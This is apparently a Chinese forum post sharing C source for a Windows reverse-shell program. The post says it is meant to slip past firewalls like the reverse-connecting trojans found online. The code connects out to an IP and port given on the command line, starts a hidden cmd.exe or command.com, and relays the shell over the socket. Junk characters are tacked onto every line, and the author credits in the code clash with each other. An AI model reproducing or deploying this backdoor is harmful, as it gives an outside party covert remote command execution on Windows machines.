这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 hRcb}>pr
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/* ============================== *sho/[~_
Rebound port in Windows NT T(4d5 fY
By wind,2006/7 (C2 XFg_
===============================*/ yVd^A2
#include p5Q]/DhG
#include f-=\qSo
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#pragma comment(lib,"wsock32.lib") E h%61/
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void OutputShell(); J~Xv R
SOCKET sClient; Kz4S6N c
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;t`
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void main(int argc,char **argv) j=_rUc'Me
{ mCtS_"W
WSADATA stWsaData; l^B.iB
int nRet; h`fVQN.3
SOCKADDR_IN stSaiClient,stSaiServer; B~Q-V&@o
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if(argc != 3) ]|;+2@kDR
{ .p`4>XA
printf("Useage:\n\rRebound DestIP DestPort\n"); 0P^h6Vat
return; R#(0C(FI^
} G4&s_M$
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WSAStartup(MAKEWORD(2,2),&stWsaData); l?Y^3x}j
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bm588UQ
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stSaiClient.sin_family = AF_INET; rCyb3,W
stSaiClient.sin_port = htons(0); ejRK-!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); aM^iDJ$>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X@nBj;
{ 0r]n
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printf("Bind Socket Failed!\n"); ><%585
return; yu?5t?vf
} dWY%bb
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stSaiServer.sin_family = AF_INET; > =>/~dIb
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @|!4X(2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e4X
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )!y>2$20 r
{ [^>XRBSm
printf("Connect Error!"); \lL[08G
return; z,HhSW?&^
} SNEhP5!
OutputShell(); B|(g?
} , ,3lH-C
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void OutputShell() D6SUzI1+H
{ E}^V@ :j>
char szBuff[1024]; dQut8>0&
SECURITY_ATTRIBUTES stSecurityAttributes; =;Id["+
OSVERSIONINFO stOsversionInfo; zVh yAf
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Xj?Wvt
STARTUPINFO stStartupInfo; I-v}
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char *szShell; uf(ayDE
PROCESS_INFORMATION stProcessInformation; ~cz}C("Z
unsigned long lBytesRead; [%IOB/{N
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~f QrH%@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M!mL/*G@YE
stSecurityAttributes.lpSecurityDescriptor = 0; p l)":}/)
stSecurityAttributes.bInheritHandle = TRUE; HKN|pO3v
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G,8mFH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); , 3R=8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0AZ9I!&i
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l9p
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stStartupInfo.wShowWindow = SW_HIDE; ,f03TBD}
stStartupInfo.hStdInput = hReadPipe; 2w>%-_]u+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,%i
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GetVersionEx(&stOsversionInfo); +in)(a.
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switch(stOsversionInfo.dwPlatformId) K5>3
{ ?o<vmIge
case 1: vE ]ge
szShell = "command.com"; 7o4E_ .*
break; )! [B(
default: DJ ru|2
szShell = "cmd.exe"; +h)"m/mE
break; l;$F[/3a
} Km2~nkQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bGh&@&dHr
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send(sClient,szMsg,77,0); \Y#
while(1) qxRsq&_
{ j/V_h'}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3mgvWR
if(lBytesRead) -]%EX:bm
{ Rtf<UhUn
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1q}32^>+o
send(sClient,szBuff,lBytesRead,0); 6v@Prw@.b
} ,\`ruWWLb=
else f,YORJ
{ +Q&l}2
lBytesRead=recv(sClient,szBuff,1024,0); a-5UG#o
if(lBytesRead<=0) break; O"9t,B>=i
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6Ga'_P:
} cT(nKHL
} /fQcrd7h
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return; HB9"T5Pd*
}